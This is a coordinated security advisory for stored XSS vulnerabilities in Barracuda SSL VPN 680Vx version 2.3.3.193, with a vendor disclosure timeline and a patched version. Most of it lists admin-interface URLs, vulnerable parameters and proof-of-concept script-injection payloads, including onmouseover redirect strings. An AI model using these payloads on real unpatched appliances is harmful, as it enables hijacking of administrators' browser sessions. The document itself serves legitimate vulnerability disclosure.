Barracuda SSL VPN 680Vx 2.3.3.193 - Script Injection Vulnerabilities

Barracuda SSL VPN 680Vx 2.3.3.193 Multiple Script Injection Vulnerabilities
 
 
Vendor: Barracuda Networks, Inc.
Product web page: https://www.barracuda.com
Affected version: 2.3.3.193, Model: V680
 
Summary: The Barracuda SSL VPN is a powerful plug-and-play appliance
purpose-built to provide remote users with secure access to internal
network resources.
 
Desc: Barracuda SSL VPN suffers from multiple stored XSS vulnerabilities
when parsing user input to several parameters via POST method. Attackers
can exploit these weaknesses to execute arbitrary HTML and script code in
a user's browser session.
 
Tested on: Linux 2.4.x, Jetty Web Server
 
 
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
 
 
Vendor status:
 
[05.03.2013] Vulnerabilities discovered.
[16.03.2013] Contact with the vendor.
[17.03.2013] Vendor replies.
[19.03.2013] Working with the vendor.
[28.03.2013] Vendor confirms issues, track BNSEC-1239.
[15.04.2013] Asked vendor for status update.
[17.04.2013] Vendor replies.
[18.04.2013] Confirming that the issues are still present on the demo test sites. (v2.3.3.193)
[07.05.2013] Vendor informs that the version 2.3.3.216 since 13.03.2013 is patched from these issues.
[08.05.2013] Coordinating with the vendor.
[08.06.2013] Vendor confirms that as of firmware version 2.3.3.216 the issues have been resolved.
[01.07.2013] Coordinated public security advisory released.
 
 
 
Advisory ID: ZSL-2013-5147
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5147.php
 
Barracuda Labs: http://barracudalabs.com/?page_id=3456
                http://barracudalabs.com/?page_id=3458
 
 
05.03.2013
 
--
 
====================================================================================
 
 
https://server/showSystemConfiguration.do?categoryId=821
 
CRLs ADD: "><script>alert(1);</script>
 
Parameter: propertyItem[25].value
 
====================================================================================
 
 
https://server/showAuditReports.do (Reports)
 
Username ADD: "><script>alert(1);</script>
 
Parameters: user
            account
 
====================================================================================
 
 
https://server/showSystemConfiguration.do?categoryId=14800
 
Files to Scan ADD: "><script>alert(1);</script>
Files to Exclude from Scanning ADD: "><script>alert(2);</script>
Files to Block ADD: "><script>alert(3);</script>
 
Parameters: propertyItem[1].value
            propertyItem[2].value
            propertyItem[3].value
 
====================================================================================
 
 
https://server/showSystemConfiguration.do?categoryId=810
 
Public Internal Web Sites ADD: "><script>alert(1);</script>
VPN Port ADD: "><script>alert(2);</script>
 
Parameters: propertyItem[1].value
            propertyItem[8].value
 
====================================================================================
 
 
https://server/showAvailableAccounts.do
 
Available Groups ADD: "><script>alert(1);</script>
 
Parameter: selectedRoles
 
====================================================================================
 
 
https://server/editMessage.do?actionTarget=sendMessageToUser&resourceName=user&realm=1&parent_name=edit
 
Account ADD: "><script>alert(1);</script>
Group ADD: "><script>alert(2);</script>
Policy ADD: "><script>alert(3);</script>
 
Parameter: policy
 
====================================================================================
 
 
https://server/editAccount.do?actionTarget=edit&username=guest&parent_name=edit
 
Available Groups ADD: "><script>alert(1);</script>
Authorized IP Addresses ADD: "><script>alert(2);</script>
Other Computers (Waks-On-LAN) ADD: "><script>alert(3);</script>
 
Parameters: selectedRoles
            propertyItem[1].value
            propertyItem[6].value
 
====================================================================================
 
 
https://server/editMessage.do?actionTarget=sendMessageToRole&resourceName=%22onmouseover=prompt%28%22XSS3%22%29%3E%0A%0DB&realm=9999&parent_name=edit
https://server/editMessage.do?actionTarget=sendMessageToRole&resourceName=CLICK%20ME%20PLEASE%20!!!%20ZOMG%20XSS%20INVISIBLE%20%22onmouseover=prompt%28document.location=%27http://zeroscience.mk%27%29%3E&realm=9999&parent_name=edit
 
Group ADD: "><script>alert(1);</script>
 
Parameter: resourceName
 
====================================================================================

#  0day.today [2018-01-01]  #